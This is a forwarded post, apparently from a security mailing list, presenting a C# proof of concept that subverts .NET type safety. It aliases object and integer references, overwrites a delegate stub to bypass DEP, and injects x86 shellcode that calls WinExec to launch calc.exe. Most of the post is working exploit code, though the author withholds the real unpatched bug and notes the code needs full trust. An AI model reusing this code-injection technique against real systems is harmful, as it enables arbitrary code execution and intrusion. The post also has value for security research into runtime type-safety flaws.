Let's start out with some convenient types that allow bit twiddeling once we've subverted the type system:
class Union1
{
internal
volatile int i;
internal
volatile int j;
}
class Union2
{
internal
volatile object o;
internal
volatile int[] arr;
}
Now we need a way to get two different references to the same object. This is where the exploit comes in, but since I'm not going to publish an exploit for an unpatched bug, we'll make do with something that works but requires full trust:
[StructLayout(LayoutKind.Explicit)]
struct UnsafeUnion
{
[FieldOffset(0)]
internal
Union1 u1;
[FieldOffset(0)]
internal
Union2 u2;
}
static Union1
TypeSystemHole(Union2
u2)
{
// NOT
ACTUALLY A SECURITY HOLE!
// You
need full trust to execute this code.
UnsafeUnion
uu = new UnsafeUnion();
uu.u2 = u2;
return
uu.u1;
}
Now for the interesting bit, getting some x86 code to execute:
Union1
u1;
Union2
u2 = new Union2();
u1 = TypeSystemHole(u2);
// u1 and u2 now
reference the same object,
// meaning that we can now convert arbitrary integer
// into objects or arrays (and v.v.)
ThreadStart
del = new ThreadStart(DummyMethod);
// A delegate
provides an easy way to call the code we're
// generating. As it turns out, it is also a good way
// to bypass DEP, because the delegate stub is in writable
// executable memory.
u2.o = del;
u1.j = u1.i;
u1.j = u2.arr[2] - 12;
// Make the delegate
object accessible via the object[],
// then get the address the delegate points to and make
// it accessible via the object[] reference.
// The x86 code we're
creating is:
//
// 6A
05 push 5
// 68 xx xx xx xx push offset string
"calc.exe"
// B8 xx xx xx xx mov eax,<address of
kernel32!WinExec>
// FF
D0 call eax
//
C3
ret
//
MemoryStream
mem = new MemoryStream();
BinaryWriter
bw = new BinaryWriter(mem);
bw.Write((byte)0x6A);
bw.Write((byte)0x05);
bw.Write((byte)0x68);
u2.o = Encoding.ASCII.GetBytes("calc.exe\0");
bw.Write(u1.i + 8);
bw.Write((byte)0xB8);
bw.Write(GetProcAddressAny("WinExec"));
bw.Write((byte)0xFF);
bw.Write((byte)0xD0);
bw.Write((byte)0xC3);
bw.Write(0);
// Now that we've
created the code, copy it into the delegate
// stub memory area.
byte[]
tmp = mem.ToArray();
for (int i = 0; i < tmp.Length
/ 4; i++)
{
u2.arr[1 + i] = BitConverter.ToInt32(tmp, i * 4);
}
// Invoke the
delegate, which will result in running our
// code, instead of the delegate stub.
del
();
The missing piece is GetProcAddressAny. It basically searches memory for kernel32 and looks up the address of the WinExec function.
The full source is available here: TypeSafetyExploitPoC.cs
Note that this PoC requires full trust and obviously only works on x86, but all the ideas are applicable to x64 as well.
2008-9-13 9:03:01 (W. Europe Daylight Time, UTC+02:00)
[Ph4nt0m Security Team]
Email: ax...@ph4nt0m.org
=== V3ry G00d, V3ry Str0ng ===
=== Ultim4te H4cking ===
=== XPLOITZ ! ===
=== #_# ===
#If you brave,there is nothing you cannot achieve.#
----- Original Message -----From: ayaREISent: Wednesday, September 17, 2008 7:09 PM